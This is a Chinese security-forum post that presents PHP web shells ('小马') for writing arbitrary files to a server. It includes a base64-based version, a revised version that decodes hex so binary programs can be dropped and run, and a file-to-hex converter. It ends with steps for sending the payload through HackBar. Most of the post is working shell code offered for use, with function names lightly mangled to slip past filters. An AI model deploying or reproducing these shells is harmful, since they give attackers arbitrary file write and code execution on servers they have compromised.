通过构造post方式上传16进制格式文件,-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

通过构造post方式上传16进制格式文件,

[复制链接]
发表于 2018-10-9 00:18:53 | 显示全部楼层 |阅读模式
晚上回来整理strtus2漏洞课件,收到当年去天融信工作面试我的那个大神发来个问题(没办法,只会php

1.png

0x01,程序代码如下

  1. <?php
  2.     if ($_POST) {
  3.         $fo = fopen(urld去掉ecode($_POST["filepath"]), "w");
  4.         $content = base64去掉_decode(urldecode($_POST["content"]));   
  5. if (fwrite($fo, $content))
  6.                 echo "<font color=red><b>成功写入文件!</b></font>";
  7.         else
  8.                 echo "<font color=#33CCFF><b>写入文件失败</b></font>";
  9.     } else {
  10.         echo "<font color=#CCFFFF>冰源独立编译php带密码小马</font>";
  11.     }
  12. ?>
复制代码

0x02,使用方法,需要自己去构造post参数,如下图

1.png
0x03,但是这里有一个问题,就是上传文本文件没什么问题,16进制文件,上传的程序不能运行


3.png

0x04,于是改成16进制写入,源码如下:
  1. <html>
  2. <head>
  3. <meta charset="utf-8">
  4. <title>当前IP <?=$_SERVER['SERVER_NAME']?></title>
  5. </head>
  6. <style>
  7. body{font-family:Georgia;}
  8. #neirong{width:558px;height:250px;border=#0000 1px solid}
  9. #lujing{font-family:Georgia;width:389px;border=#0000 1px solid}
  10. #shc{font-family:Georgia;background:#fff;width:63px;height:20px;border=#0000 1px solid}
  11. </style>
  12. <body bgcolor="black">
  13. <?php
  14.         function hexToFile($hexstr, $file){
  15.         if($hexstr){
  16.             $data = pack('H*', $hexstr);
  17.             return file_put_contents($file, $data, true);
  18.         }
  19.     }
  20.     if ($_POST) {
  21.         $fo = urldecode($_POST["filepath"]);
  22.         $content = urldecode($_POST["content"]);
  23.         if (hexToFile($content, $fo))
  24.                 echo "<font color=red><b>成功写入文件!</b></font>";
  25.         else
  26.                 echo "<font color=#33CCFF><b>写入文件失败</b></font>";
  27.     } else {
  28.         echo "<font color=#CCFFFF>必火独立编译php带密码小马</font>";
  29.     }
  30. ?>
复制代码

0x05,文件转16进制工具源码如下:
  1. <?php
  2. header("Content-type:text/html;charset=utf8");
  3. function fileToHex($file){
  4. if(file_exists($file)){
  5. $data = file_get_contents($file);
  6. return bin2hex($data);
  7. }
  8. return '';
  9. }
  10. function hexToFile($hexstr, $file){
  11. if($hexstr){
  12. $data = pack('H*', $hexstr);
  13. file_put_contents($file, $data, true);
  14. }
  15. }

  16. $file = $_FILES['upfile']['tmp_name'];
  17. if ($file) {
  18.         // 文件转16进制
  19.         $hexstr = fileToHex($file);
  20.         echo $hexstr.'<br><br>';
  21. }
  22. ?>
  23. <!DOCTYPE html>
  24. <html>
  25. <head>
  26.         <title>必火16进制转换工具-www.xss.tv</title>
  27. </head>
  28. <body>
  29.         <CENTER>
  30. <form action="" method="post" enctype="multipart/form-data" >
  31.         <input type="file" name="upfile"><input type="submit" name="" value="转16进制">
  32. </form>
  33. </CENTER>
  34. </body>
  35. </html>
复制代码

0x06,文件转16进制工具运行结果如图

222.png

0x07,直接复制16进制数据,到火狐hackbar中运行,
11111.png

0x08,保存后的文件如图,可以直接运行
QQ图片20181009001647.png


        
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表